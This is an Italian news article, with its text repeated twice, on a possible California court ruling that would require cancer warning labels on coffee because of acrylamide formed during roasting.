martedì, 23 Luglio , 24

Tumori: California potrebbe dichiarare caffè cancerogeno

Fra pochi mesi un giudice della California potrebbe dichiarare che il caffe’ e’ cancerogeno. E visto che una legge approvata nel 1986, voluta fortemente anche da Jane Fonda, impone alle imprese e ai locali pubblici di mettere delle etichette e dei segnali evidenti se qualcosa e’ ritenuto pericoloso, e’ possibile che il caffe’ vengano “segnalato” come gia’ succede per le sigarette. Secondo la legge californiana, lo stato deve pubblicare e aggiornare almeno una volta all’anno, un elenco di sostanze chimiche che si scoprono essere legate al cancro, a difetti alla nascita e a problemi alla salute riproduttiva. Negli ultimi 30 anni, la lista e’ cresciuta arrivando fino a 900 sostanze chimiche, inclusa l’acrilammide. Questa sostanza e’ un sottoprodotto di alcuni alimenti quando vengono cucinati con metodi che richiedono l’utilizzo di temperature molto elevate, come la frittura o la tostatura. La ricerca ha trovato livelli particolarmente elevati di acrilammide in alimenti come le patatine fritte. La sostanza chimica si forma anche quando i chicchi di caffe’ vengono tostati, cosa che ha portato l’American Cancer Society a raccomandare alle persone di ridurre il consumo di caffe’, nonche’ di cereali e prodotti a base di patate. L’acrilammide ha contribuito alla classificazione del caffe’ da parte dell’Organizzazione mondiale della sanita’ come cancerogeno oltre 25 anni fa. Tuttavia, nel 2016 l’Oms ha allentato i suoi avvertimenti contro il caffe’, dichiarando invece che tutte le bevande “molto calde” sono cancerogene. Ma questo non ha fermato un gruppo californiano che ha fatto causa a dozzine di compagnie di caffe’ per aver presumibilmente venduto i loro prodotti senza avvertire sui possibili rischi di una delle sostanze da esso contenute. Ora un tribunale e’ stato chiamato a decidere se il caffe’ e’ da considerarsi rischioso o meno. Gli studi condotti sul caffe’ o sono completamente a favore degli effetti protettivi della popolare bevanda o sono assolutamente contrari. Anche i californiani sono divisi sul tema di questa causa: alcuni affermano che segnalare il pericolo fa parte di un’attenzione trasparente verso la salute, mentre altri dicono che segnali ed etichette sono cosi’ diffusi che hanno perso il loro significato. Ma e’ possibile che il tribunale decida di trattare il caffe’ alla stregua di sostanze note per essere ben piu’ pericolose, come appunto le sigarette.

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Fra pochi mesi un giudice della California potrebbe dichiarare che il caffe’ e’ cancerogeno. E visto che una legge approvata nel 1986, voluta fortemente anche da Jane Fonda, impone alle imprese e ai locali pubblici di mettere delle etichette e dei segnali evidenti se qualcosa e’ ritenuto pericoloso, e’ possibile che il caffe’ vengano “segnalato” come gia’ succede per le sigarette. Secondo la legge californiana, lo stato deve pubblicare e aggiornare almeno una volta all’anno, un elenco di sostanze chimiche che si scoprono essere legate al cancro, a difetti alla nascita e a problemi alla salute riproduttiva. Negli ultimi 30 anni, la lista e’ cresciuta arrivando fino a 900 sostanze chimiche, inclusa l’acrilammide. Questa sostanza e’ un sottoprodotto di alcuni alimenti quando vengono cucinati con metodi che richiedono l’utilizzo di temperature molto elevate, come la frittura o la tostatura. La ricerca ha trovato livelli particolarmente elevati di acrilammide in alimenti come le patatine fritte. La sostanza chimica si forma anche quando i chicchi di caffe’ vengono tostati, cosa che ha portato l’American Cancer Society a raccomandare alle persone di ridurre il consumo di caffe’, nonche’ di cereali e prodotti a base di patate. L’acrilammide ha contribuito alla classificazione del caffe’ da parte dell’Organizzazione mondiale della sanita’ come cancerogeno oltre 25 anni fa. Tuttavia, nel 2016 l’Oms ha allentato i suoi avvertimenti contro il caffe’, dichiarando invece che tutte le bevande “molto calde” sono cancerogene. Ma questo non ha fermato un gruppo californiano che ha fatto causa a dozzine di compagnie di caffe’ per aver presumibilmente venduto i loro prodotti senza avvertire sui possibili rischi di una delle sostanze da esso contenute. Ora un tribunale e’ stato chiamato a decidere se il caffe’ e’ da considerarsi rischioso o meno. Gli studi condotti sul caffe’ o sono completamente a favore degli effetti protettivi della popolare bevanda o sono assolutamente contrari. Anche i californiani sono divisi sul tema di questa causa: alcuni affermano che segnalare il pericolo fa parte di un’attenzione trasparente verso la salute, mentre altri dicono che segnali ed etichette sono cosi’ diffusi che hanno perso il loro significato. Ma e’ possibile che il tribunale decida di trattare il caffe’ alla stregua di sostanze note per essere ben piu’ pericolose, come appunto le sigarette.

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